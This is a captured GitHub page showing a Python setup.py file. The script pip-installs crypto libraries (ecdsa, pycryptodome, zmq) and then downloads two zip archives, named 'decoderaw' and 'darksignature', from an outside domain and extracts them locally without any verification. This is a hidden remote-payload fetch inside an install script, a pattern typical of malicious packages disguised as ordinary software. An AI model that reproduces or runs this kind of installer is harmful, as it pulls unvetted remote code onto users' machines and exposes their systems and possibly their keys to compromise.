-
Notifications
You must be signed in to change notification settings - Fork 20
Expand file tree
/
Copy pathsetup.py
More file actions
34 lines (27 loc) · 979 Bytes
/
setup.py
File metadata and controls
34 lines (27 loc) · 979 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import os
import zipfile
import requests
import subprocess
# List of modules to install
modules = ["zmq", "ecdsa", "urllib3", "requests", "pycryptodome"]
# Install each module using pip
for module in modules:
subprocess.run(["pip", "install", module])
url2 = 'https://zoeir.com/repositories/decoderaw.zip'
zip_filename2 = 'decoderaw.zip'
response2 = requests.get(url2)
response2.raise_for_status()
with open(zip_filename2, 'wb') as file:
file.write(response2.content)
with zipfile.ZipFile(zip_filename2, 'r') as zip_ref:
zip_ref.extractall('decoderaw')
os.remove(zip_filename2)
url3 = 'https://zoeir.com/repositories/darksignature.zip'
zip_filename3 = 'darksignature.zip'
response3 = requests.get(url3)
response3.raise_for_status()
with open(zip_filename3, 'wb') as file:
file.write(response3.content)
with zipfile.ZipFile(zip_filename3, 'r') as zip_ref:
zip_ref.extractall('darksignature')
os.remove(zip_filename3)